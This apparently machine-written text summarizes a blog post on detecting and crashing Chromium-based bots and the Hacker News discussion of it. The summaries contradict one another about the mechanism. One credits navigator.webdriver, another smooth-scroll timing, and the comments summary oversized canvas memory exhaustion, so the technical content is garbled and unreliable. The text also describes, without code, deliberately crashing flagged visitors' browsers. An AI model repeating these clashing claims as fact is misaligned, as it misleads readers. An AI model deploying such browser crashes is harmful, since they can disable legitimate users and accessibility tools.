The blog post details a method for detecting and disrupting automated Chromium-based browsers, often used for malicious purposes like scraping or credential stuffing. The technique exploits a quirk in how these browsers handle JavaScript's navigator.webdriver property, which is typically true for automated instances but false for legitimate user browsers. By injecting JavaScript code that checks this property and subsequently triggers a browser crash (e.g., an infinite loop or memory exhaustion) if it's true, websites can selectively disable or deter unwanted bot activity. This approach is presented as a simple yet effective way to combat automated threats, although the ethical implications and potential for false positives are acknowledged.
This blog post, titled "Detect and Crash Chromium Bots with One Weird Trick (Bots Hate It!)," explores a method for identifying and disrupting automated web browsers based on the Chromium engine, such as those used for web scraping or automated testing. The author posits that these bots, while often sophisticated, can be distinguished from legitimate human users due to their typically perfect adherence to web standards. The "trick" revolves around exploiting a quirk in the way Chromium-based browsers handle CSS scroll-behavior: smooth.
The author explains that when a webpage uses scroll-behavior: smooth to create smooth scrolling animations, a genuine human user will almost inevitably interrupt these animations with their mouse wheel or other input methods, creating slightly jerky or non-linear scrolling behavior. Chromium-based bots, however, tend to follow the smooth scrolling animation precisely, as they programmatically execute scrolls without the inherent imprecision of human interaction.
The blog post then details a JavaScript-based detection mechanism that monitors scrolling behavior. This mechanism measures the time taken for a scroll animation to complete and compares it to the expected duration based on the distance scrolled. If the actual scroll time matches the expected time too precisely over a series of scrolls, the script flags the user as a potential bot.
Furthermore, the author describes how this detection mechanism can be weaponized to crash or freeze Chromium-based bots. Once a user is flagged as a potential bot, the script can trigger an infinite recursion within the browser by repeatedly initiating and interrupting smooth scrolling animations. This overload exploits a vulnerability in Chromium, ultimately leading to a denial-of-service condition for the bot.
The author acknowledges potential ethical concerns and false positives associated with this technique, suggesting it's primarily intended for informational or experimental purposes, rather than widespread deployment. They emphasize that using this method to disrupt legitimate users or critical services could be detrimental and is strongly discouraged. The post concludes by highlighting the ongoing cat-and-mouse game between bot developers and website operators, suggesting that this particular technique may have a limited lifespan as bot developers adapt to circumvent it.
Summary of Comments ( 11 )
https://news.ycombinator.com/item?id=43916622
HN commenters largely discussed the ethics and efficacy of the proposed bot detection method. Some argued that intentionally crashing browsers is harmful, potentially disrupting legitimate automation tasks and accessibility tools. Others questioned the long-term effectiveness, predicting bots would adapt. Several suggested alternative approaches, including using progressively more difficult challenges or rate limiting. The discussion also touched on the broader issue of the arms race between bot developers and website owners, and the collateral damage it can cause. A few commenters shared anecdotes of encountering similar anti-bot measures. One commenter pointed out a potential legal grey area regarding intentionally damaging software accessing a website.
The Hacker News post titled "Detect and crash Chromium bots" generated a modest discussion with several interesting comments. Several commenters focused on the ethical and practical implications of the technique described in the article (detecting and crashing Chromium-based bots by exploiting a quirk in how they handle oversized canvas elements).
One commenter questioned the ethics of intentionally crashing bots, suggesting it could be considered a denial-of-service attack. They argued that while the technique may be effective against malicious bots, it could also harm legitimate web scraping tools or accessibility software that rely on Chromium. This raised a concern about the potential for collateral damage and the responsibility of developers to avoid harming non-malicious actors.
Another user pointed out the potential for an "arms race" between bot developers and website maintainers. They predicted that bot developers would quickly adapt to this technique, finding ways to circumvent the oversized canvas check. This would lead to an ongoing cycle of detection and evasion, with both sides constantly trying to outsmart each other.
A practical concern raised by a commenter was the potential for false positives. They suggested that certain legitimate users with unusual browser configurations or extensions might also be affected by this technique. This could lead to a poor user experience for those individuals.
Several users discussed alternative approaches to bot detection and mitigation. These included using established bot detection services, employing CAPTCHAs, and rate limiting. The general sentiment was that while the canvas trick might be a useful short-term tactic, it was not a robust long-term solution. More comprehensive and adaptable methods are necessary for effective bot management.
One user noted the irony of using a browser vulnerability to detect and crash bots based on that same browser. They found it amusing that the very technology being used for bot development was also its potential downfall.
Finally, one commenter offered a more technical explanation of why this technique works, delving into the specifics of how Chromium handles canvas elements and memory allocation. They suggested that the oversized canvas triggers an out-of-memory error, leading to the crash.